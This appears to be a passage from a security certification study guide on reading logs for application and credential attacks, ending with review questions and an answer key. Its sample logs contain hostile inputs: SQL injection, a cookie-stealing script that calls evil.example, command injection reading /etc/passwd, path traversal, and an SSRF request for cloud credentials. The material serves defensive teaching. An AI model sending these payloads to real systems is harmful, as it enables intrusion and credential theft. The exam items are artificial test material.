Cross-site scripting (XSS): injected script runs in other users' browsers. Indicators include

<script>, javascript:, event handlers such as onerror=, and URL-encoded equivalents

(%3Cscript%3E). Reflected XSS bounces off the server in a crafted link; stored XSS is saved (for example, in a comment) and served to every visitor; DOM-based XSS executes entirely in client-side code. 198.51.100.9 - - [12/Sep/2026:14:03:11] "GET /products.php?id=7' HTTP/1.1" 500 1893 198.51.100.9 - - [12/Sep/2026:14:03:15] "GET /products.php?id=7' OR '1'='1 HTTP/1.1" 200 48211

198.51.100.9 - - [12/Sep/2026:14:03:22] "GET /products.php?id=7 UNION SELECT username,password FROM users-- HTTP/1.1" 200 5120

203.0.113.40 - - [12/Sep/2026:14:10:02] "GET /search?q=%3Cscript%3Edocument.location %3D'http://evil.example/c%3F'%2Bdocument.cookie%3C/script%3E HTTP/1.1" 200 731 203.0.113.66 - - [12/Sep/2026:14:12:47] "GET /tools/ping?host=8.8.8.8;cat%20/etc/passwd

Http/1.1" 200 2290

The first three lines show SQL injection progressing from a probe (an error after a quote) to data extraction. The fourth is XSS stealing cookies. The fifth is command injection. Defenses are input validation, parameterized queries (prepared statements), output encoding, least-privilege database accounts, and a WAF.

Buffer Overflow

A buffer overflow occurs when a program writes more data into a memory buffer than it can hold, overwriting adjacent memory. Attackers overwrite return addresses or function pointers to redirect execution to injected code (shellcode). Stack-based and heap-based overflows are the main varieties; integer overflows can lead to them. They primarily affect programs written in memory-unsafe languages such as C and C++.

Indicators include very long input strings in logs, repeated characters (AAAAAAAA...) or hexadecimal sequences, NOP sleds (long runs of 0x90 bytes), application crashes and segmentation faults, and the crashed service unexpectedly spawning a shell.

GET /cgi-bin/status?user=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...(4,096 bytes)

\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68 ...

kernel: statusd[2231]: segfault at 41414141 ip 41414141 sp bfffe2c0 error 14 The segfault at address 41414141 (the hex code for "AAAA") shows that attacker-supplied data overwrote the instruction pointer. Defenses include bounds checking, memory-safe languages, ASLR, DEP/NX, stack canaries, and patching.

Replay (Application)

A replay attack captures valid data—a session token, an authentication message, or a signed API request —and retransmits it later to repeat the action or gain access. In applications, attackers replay stolen session cookies to impersonate users or replay a transaction request to duplicate a payment. Indicators include the same session ID used from different IP addresses or user agents, identical requests with identical nonces or timestamps arriving more than once, and duplicate transactions. Defenses include timestamps, nonces, sequence numbers, short session lifetimes, binding sessions to device characteristics, and TLS to prevent capture.

Privilege Escalation

Privilege escalation is gaining access rights beyond those originally granted. Vertical escalation raises privileges to a higher level (standard user to administrator or root). Horizontal escalation accesses another account at the same level (one customer viewing another customer's records, often through insecure direct object references, such as changing account_id=1001 to 1002 in a URL). Indicators include a standard user account suddenly added to administrative groups, new admin accounts created, processes running as SYSTEM or root that were launched by a user session, use of sudo by accounts not in the sudoers file, and exploitation of misconfigured services or vulnerable drivers.

EventID 4732 A member was added to a security-enabled local group

Group: Administrators Member: CORP\tgreen By: CORP\tgreen

EventID 4720 A user account was created New account: helpdesk$ By: CORP\tgreen Linux: sudo: jdoe : user NOT in sudoers ; TTY=pts/1 ; COMMAND=/bin/bash A user adding themselves to the Administrators group is a strong privilege escalation indicator; normally only an existing administrator can do so.

Forgery

Forgery attacks trick a system into making a request that appears legitimate:

Cross-site request forgery (CSRF or XSRF) tricks an authenticated user's browser into sending an unwanted request to a site where the user is logged in—for example, a hidden image tag on a malicious page that submits https://bank.example/transfer?to=attacker&amount=5000. The browser automatically includes the user's session cookie, so the bank processes the request. Indicators include state-changing requests whose Referer or Origin header points to an external site and actions the user did not intend. Defenses include anti-CSRF tokens, SameSite cookie attributes, and re-authentication for sensitive actions.
Server-side request forgery (SSRF) tricks a server into making requests on the attacker's behalf, often to internal resources the attacker cannot reach directly. A classic target is the cloud instance metadata service at 169.254.169.254, which can return temporary cloud credentials. Indicators include URL parameters containing internal IP addresses, localhost, or file:// schemes, and outbound requests from application servers to unexpected internal destinations.

POST /transfer HTTP/1.1 Host: bank.example Origin: https://free-coupons.example Cookie: session=8f3a... Body: to=9918822&amount=5000 <-- CSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Http/1.1 <-- ssrf

Directory Traversal

Directory traversal (path traversal) manipulates file path input to access files outside the intended directory, using sequences such as ../ (or ..\ on Windows) to climb the directory tree. Attackers use URL encoding (%2e%2e%2f), double encoding (%252e%252e%252f), or overlong UTF-8 sequences to evade filters.

GET /download?file=../../../../etc/passwd HTTP/1.1 200

GET /download?file=..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1 200

GET /images/%252e%252e%252f%252e%252e%252fapp%252fconfig.yml HTTP/1.1 200 Requests for /etc/passwd, win.ini, boot.ini, or configuration files combined with ../ sequences are the signature. Defenses include canonicalizing paths before validation, allow-listing file names, chroot jails, and running web services with least privilege.

Exam tip

Memorize the log signatures: quotes and OR 1=1 or UNION SELECT = SQL injection; <script> = XSS; ; or && plus a shell command = command injection; ../ = directory traversal; long AAAA strings or \x90 = buffer overflow; external Origin on a state-changing request = CSRF; internal IPs or 169.254.169.254 in a URL parameter = SSRF.

Credential Attack Indicators

Credential attacks target authentication systems. Authentication logs—Windows Security events, Microsoft Entra ID or Okta sign-in logs, VPN logs, and Linux auth.log—are the primary evidence. Useful Windows event IDs include 4624 (successful logon), 4625 (failed logon), 4740 (account locked out), and 4771 (Kerberos pre-authentication failed).

Brute Force

A brute-force attack tries many passwords against one (or a few) accounts until one works. Online brute force attempts logins against a live service and is limited by lockout and rate limiting. Offline brute force (password cracking) attacks stolen password hashes with tools such as Hashcat or John the Ripper, unconstrained by lockout. Dictionary attacks use word lists of common passwords; hybrid attacks add variations; rainbow tables are precomputed hash lookups defeated by salting. Credential stuffing tries username-password pairs leaked from other breaches, exploiting password reuse.

Indicators of online brute force: many failed logins for a single account in a short time, typically from one or a few sources, often followed by account lockout—and sometimes a success.

Sep 20 03:14:01 web01 sshd[4410]: Failed password for root from 45.155.205.12 port 51122 ssh2

Sep 20 03:14:02 web01 sshd[4412]: Failed password for root from 45.155.205.12 port 51130 ssh2

Sep 20 03:14:02 web01 sshd[4414]: Failed password for root from 45.155.205.12 port 51138 ssh2

... 2,847 failures for root from 45.155.205.12 in 9 minutes ...

Sep 20 03:23:17 web01 sshd[7781]: Accepted password for root from 45.155.205.12 port 60214 ssh2

The final "Accepted" line after thousands of failures means the attack succeeded—that host must now be treated as compromised.

Password Spraying

Password spraying tries one or a few common passwords (such as Spring2026! or Welcome1) against many accounts, staying below each account's lockout threshold. Because each account sees only one or two failures, traditional lockout policies do not trigger.

EventID 4625 Failed logon Account: aallen Source IP: 203.0.113.50 10:01:02 EventID 4625 Failed logon Account: abaker Source IP: 203.0.113.50 10:01:03 EventID 4625 Failed logon Account: acarter Source IP: 203.0.113.50 10:01:03 EventID 4625 Failed logon Account: adiaz Source IP: 203.0.113.50 10:01:04 ... 1,412 distinct accounts, 1 attempt each, same source, 6 minutes ...

EventID 4624 Successful logon Account: mrivera Source IP: 203.0.113.50 10:06:51 Indicators: one source (or a distributed set of sources) producing failures across many different accounts, one attempt per account, often alphabetical or from a harvested list, at low rates. Defenses include banning common passwords, MFA, smart lockout based on source behavior, and alerting on failures across many accounts from one IP.

Memory aid

Brute force: many passwords, one account. Spraying: one password, many accounts. Stuffing: known username-password pairs from another breach. Picture a fire hose aimed at one door (brute force) versus a garden sprayer passing lightly over every door in the street (spraying).

User Enumeration

User enumeration discovers valid usernames so attackers can focus password attacks on real accounts. Applications leak this information when they respond differently to valid and invalid usernames: "Invalid password" versus "User not found," different response times, different HTTP status codes or response sizes, or password reset pages saying "No account exists with that email." Kerberos pre-authentication responses and SMTP VRFY/EXPN commands can also confirm usernames.

POST /login user=jsmith -> 401 "Incorrect password" (response 212 ms)
POST /login user=xjsmith -> 401 "Username not found" (response 41 ms)
POST /login user=jsmith2 -> 401 "Username not found" (response 40 ms)
POST /reset email=ceo@corp.example -> 200 "Reset link sent"
POST /reset email=fake@corp.example -> 404 "No account found"

Indicators include a high volume of login or reset requests cycling through many usernames, often with a single password or none, from one source. Defense: generic error messages ("Invalid username or password"), consistent response times, and rate limiting.

Replay (Credential)

A credential replay attack captures authentication material and reuses it without knowing the actual password. Examples include pass-the-hash (using a captured NTLM hash to authenticate), pass-the-ticket (reusing stolen Kerberos tickets), replaying captured authentication exchanges on unencrypted protocols, and replaying stolen session tokens or cookies. Indicators include authentication using NTLM from hosts that normally use Kerberos, logons (Windows event 4624, logon type 3 or 9) from unexpected workstations using an administrator's hash, Kerberos tickets with abnormal lifetimes, and the same token presented from different devices. Defenses include Kerberos with time-stamped tickets, disabling NTLM where possible, Credential Guard, nonces, and short-lived tokens.

MFA Bypass

MFA bypass describes techniques that defeat multifactor authentication without breaking the factors themselves:

MFA fatigue (push bombing): the attacker, holding a valid password, triggers repeated push notifications until the user approves one to make them stop. Indicators: dozens of push requests in minutes, followed by an approval at an odd hour.
Adversary-in-the-middle (AiTM) phishing: a reverse-proxy phishing site relays the user's login and MFA to the real site in real time and captures the resulting session cookie, which the attacker then replays. Indicators: sign-ins from hosting-provider IPs immediately after the user's legitimate MFA, followed by token use from a new location.
SIM swapping: social-engineering a mobile carrier into moving the victim's number to the attacker's SIM to receive SMS codes. Indicators: the user's phone suddenly loses service; SMS codes delivered to a new device.
Help-desk social engineering: convincing support staff to reset or re-register a user's MFA device.
Session or token theft from malware (infostealers) on the endpoint, and downgrade to legacy protocols or fallback methods that do not require MFA.

Okta System Log user: d.chen

01:12:03 push sent 01:12:41 push DENIED 01:13:10 push sent 01:13:55 push DENIED 01:14:20 push sent ... 27 push challenges in 9 minutes ...

01:21:48 push APPROVED from new device IP 185.193.88.21 (hosting provider)

01:22:30 MFA factor enrolled: new authenticator device

Defenses include phishing-resistant MFA (FIDO2/WebAuthn security keys and passkeys, which are bound to the legitimate site's origin and defeat AiTM proxies), number matching and additional context in push prompts, limits on push attempts, alerting on new MFA device registrations, strict help-desk verification, and token binding and short session lifetimes.

Figure 8.3: An adversary-in-the-middle phishing proxy relays the login and MFA, steals the session cookie, and replays it

MFA is not a silver bullet. If a question describes a user who "only approved one push to make them stop," or an attacker who accessed email "even though MFA was enabled" after the user clicked a phishing link, the answer is an MFA bypass technique (MFA fatigue or session token theft via AiTM). The best fix is phishing-resistant MFA such as FIDO2 security keys, not "enable MFA."

Credential attack

Pattern in logs Lockout triggered?

Key defense

Brute force (online)

Many failures, one account Yes, usually

Lockout, rate limiting, MFA

Password spraying

One failure each, many accounts No Banned passwords, MFA, cross-account alerting

Credential stuffing

Many accounts, varied passwords, botnet IPs

Sometimes MFA, breached-password checks, bot detection

User enumeration

Many usernames, differing responses No Generic errors, rate limiting

Replay Valid hash, ticket, or token reused elsewhere

No Nonces, Kerberos, short-lived tokens

MFA bypass Push floods, token use from new location No Phishing-resistant MFA, number matching

Note

PBQs may give you several log excerpts and ask you to label each with an attack type or match each to a mitigation. Work line by line, find the single strongest indicator in each excerpt, and ignore normal-looking entries included as noise. Real incidents chain categories together—for example, spear phishing leads to token theft (MFA bypass), then fileless execution, privilege escalation, exfiltration, ransomware, and finally log clearing. Chapter 20 (objective 4.7) covers how responders contain such an attack.

Chapter Summary

IoCs are forensic evidence of compromise (hashes, IPs, domains, artifacts); IoAs describe attacker behavior in progress. Behavior-based indicators are harder for attackers to change, as the Pyramid of Pain illustrates.
Malware types are distinguished by behavior: ransomware encrypts and extorts; Trojans disguise themselves; worms self-propagate; spyware collects; adware advertises; viruses infect host files; rootkits hide with privilege; keyloggers record keystrokes; logic bombs wait for a trigger; fileless malware lives in memory and abuses built-in tools.
Physical indicators include one badge with two entrants (tailgating), observers near screens (shoulder surfing), tampered card readers (skimming), and damaged doors or forced-door alarms (forced entry).
Network indicators include traffic floods from many sources (DDoS), weak protocols negotiated (downgrade), unknown APs or DHCP servers (rogue), promiscuous interfaces (sniffing), duplicate MAC mappings (ARP spoofing), certificate warnings (on-path), random subdomains (DNS tunneling), and many users sent to a wrong IP (cache poisoning).
Social engineering varies by channel and target: phishing (email), spear phishing (targeted), whaling (executives), smishing (SMS), vishing (voice), quishing (QR codes), impersonation (pretexting), and deepfakes (synthetic media). Out-of-band verification defeats most of them.
Key IoCs include hashes, IPs, domains, malicious processes, file system artifacts, timestamps, log manipulation, excessive resource consumption, plaintext strings, account lockouts, impossible travel, and concurrent sessions.
Application attacks have recognizable log signatures: injection keywords, oversized inputs, reused tokens, unexpected group membership changes, cross-origin requests or internal URLs, and ../ sequences.
Credential attacks: brute force (many passwords, one account), spraying (one password, many accounts), enumeration (probing for valid names), replay (reusing hashes, tickets, or tokens), and MFA bypass (fatigue, AiTM, SIM swap). Phishing-resistant MFA is the strongest defense.

Key Terms

Indicator of compromise (IoC); indicator of attack (IoA); STIX; TAXII; ransomware; double extortion; Trojan; remote access Trojan (RAT); worm; spyware; adware; virus; rootkit; bootkit; keylogger; logic bomb; fileless malware; living off the land; tailgating; piggybacking; shoulder surfing; skimming; forced entry; DDoS; amplification; reflection; protocol downgrade; SSL stripping; HSTS; rogue access point; evil twin; rogue DHCP server; sniffing; promiscuous mode; spoofing; ARP poisoning; dynamic ARP inspection; on-path attack; DNS hijacking; DNS tunneling; pharming; DNS cache poisoning; DNSSEC; phishing; spear phishing; whaling; business email compromise (BEC); smishing; vishing; quishing; impersonation; pretexting; deepfake; out-of-band verification; domain generation algorithm (DGA); Pyramid of Pain; timestomping; log manipulation; cryptojacking; impossible travel; concurrent sessions; SQL injection; cross-site scripting (XSS); buffer overflow; replay attack; privilege escalation; cross-site request forgery (CSRF); server-side request forgery (SSRF); directory traversal; brute force; credential stuffing; password spraying; user enumeration; pass-the-hash; MFA fatigue; adversary-in-the-middle (AiTM); SIM swapping; phishing-resistant MFA.

Review Questions

1. A SIEM shows the following within five minutes: 900 failed logins from one IP address, each against a different username, with exactly one attempt per account. Two logins then succeed. Which attack is MOST likely occurring?

A. Brute force
B. Password spraying
C. Credential stuffing
D. User enumeration

2. An analyst reviews a web server log and finds: GET /view?doc=..%2f..%2f..%2f..%2fetc %2fshadow HTTP/1.1 200. Which attack does this indicate, and what does the response code suggest?

A. SQL injection; the attack failed
B. Directory traversal; the attack may have succeeded
C. Cross-site scripting; the attack failed
D. Command injection; the attack may have succeeded

3. Within ten minutes, more than 200 workstations on different subnets begin generating outbound connections to random internal IP addresses on TCP port 445, and users report no unusual email or downloads. Which type of malware is MOST likely responsible?

A. Trojan
B. Logic bomb
C. Worm
D. Adware

4. EDR alerts on a workstation where EXCEL.EXE spawned powershell.exe -w hidden -enc JABjAGwAaQ.... No new executable files were written to disk. Which TWO terms BEST describe this activity? (Select TWO.)

A. Fileless malware
B. Rootkit
C. Living off the land
D. Logic bomb
E. Adware

5. A user reports receiving 40 MFA push notifications overnight and approving one "to make them stop." Shortly afterward, a new authenticator device was registered to her account. Which control would MOST effectively prevent this attack?

A. Increasing password length requirements
B. Number matching with a limit on push attempts, or FIDO2 security keys
C. Account lockout after five failed passwords
D. Requiring users to change passwords every 30 days

6. Several users at a branch office report that the company's intranet site loads but shows a certificate error, and the help desk confirms that intranet.corp.example resolves to an external IP address only for users of the branch's caching DNS server. Which attack is MOST likely?

A. DNS tunneling
B. DNS cache poisoning
C. Domain hijacking
D. Protocol downgrade

7. A finance manager receives a video call that appears to show the CEO, who instructs her to wire $480,000 to a new supplier immediately and keep it confidential. Which control would BEST mitigate this threat?

A. Email DMARC enforcement
B. A policy requiring out-of-band verification and dual approval for payment changes
C. Disk encryption on finance laptops
D. A WAF in front of the payment portal

8. A security analyst notices that Windows Event ID 1102 was recorded on a domain controller at 2:13 a.m. by a service account, and the SIEM shows no events from that host for the previous 40 minutes. Which indicator of compromise is this?

A. Impossible travel
B. Log manipulation
C. Excessive resource consumption
D. Account lockout

9. Analysts find that a workstation's arp -a output lists the default gateway 10.10.1.1 and another host 10.10.1.88 with the same MAC address. Users on the subnet report slow connections. Which attack is occurring, and which control would prevent it? (Select TWO.)

A. ARP poisoning
B. MAC flooding
C. Dynamic ARP inspection
D. DNSSEC
E. HSTS

10. A cloud administrator notices that monthly compute charges increased tenfold. Investigation reveals dozens of GPU instances in an unused region running at 100% utilization, launched with an access key from a developer's laptop. Which malicious activity does this MOST likely indicate?

A. Ransomware
B. Cryptojacking
C. Logic bomb
D. Spyware

11. An employee receives a printed flyer in the break room advertising a new benefits portal with a QR code. Scanning it opens a page that requests corporate credentials and MFA codes. Which social engineering technique is this?

A. Smishing
B. Vishing
C. Quishing
D. Whaling

12. A web application log shows POST /account/email-change requests for many different logged-in users, each with an Origin header of https://win-prizes.example, shortly after a link to that site was posted in a customer forum. Which attack is this?

A. Server-side request forgery
B. Cross-site request forgery
C. Stored cross-site scripting
D. Directory traversal

Answers and Explanations

1. B. One attempt against each of many accounts from a single source is password spraying—designed to stay under per-account lockout thresholds. Brute force concentrates many attempts on one account. Credential stuffing uses known username-password pairs, typically with varied passwords from breach data. User enumeration probes for valid usernames rather than attempting to log in successfully.
2. B. The ..%2f sequences are URL-encoded ../, the signature of directory traversal, targeting the Linux shadow password file. An HTTP 200 response suggests the server returned content, so the attack may have succeeded and should be investigated. No SQL syntax, script tags, or shell metacharacters are present.
3. C. Rapid spread across many hosts with scanning on a single port (SMB, 445) and no user interaction is characteristic of a worm. A Trojan requires the user to run disguised software, a logic bomb waits for a trigger and does not propagate, and adware displays advertisements.
4. A, C. Office spawning hidden, Base64-encoded PowerShell with nothing written to disk is fileless malware using living-off-the-land techniques. A rootkit hides itself with elevated privileges, a logic bomb waits for a condition, and adware displays ads—none match the evidence.
5. B. The attack is MFA fatigue (push bombing). Number matching forces the user to type a code shown on the login screen, so blind approvals fail, and limiting push attempts reduces the bombardment; FIDO2 keys eliminate push approvals entirely. Password length and rotation do not help because the attacker already has the password, and password lockout does not limit push notifications.
6. B. Only users of one caching resolver receive the wrong answer, so the resolver's cache has been poisoned. DNS tunneling hides data in queries; domain hijacking changes the registration and would affect everyone; protocol downgrade forces weaker encryption. The certificate error is the clue that users are reaching an impostor server.
7. B. A realistic CEO on video demanding an urgent, confidential wire is a deepfake-enabled impersonation. The defense is process-based: verify through an independent, known channel and require dual approval. DMARC addresses email spoofing, not video calls; disk encryption and WAFs are unrelated.
8. B. Event ID 1102 means the Security audit log was cleared, and the gap in events supports the conclusion that an attacker covered their tracks. This is log manipulation. None of the other indicators are described.
9. A, C. Two IP addresses (including the gateway) mapping to the same MAC address indicates ARP poisoning, which places the attacker on-path. Dynamic ARP inspection validates ARP packets against DHCP snooping bindings and drops forged replies. MAC flooding overflows a switch's CAM table, DNSSEC protects DNS, and HSTS prevents HTTPS stripping.
10. B. Unauthorized compute at 100% utilization producing unexpected costs is the classic sign of cryptojacking—mining cryptocurrency with stolen resources, here via a leaked cloud access key. Ransomware encrypts data, a logic bomb waits for a trigger, and spyware collects information.
11. C. Phishing using a QR code to lead the victim to a credential-harvesting page is quishing. Smishing uses SMS, vishing uses voice, and whaling targets executives.
12. B. State-changing requests from authenticated users that originate from an external site are cross-site request forgery: the attacker's page causes victims' browsers to submit requests with their session cookies. SSRF makes the server send requests to internal resources. Stored XSS would show script injected into the application itself, and directory traversal uses ../ path sequences.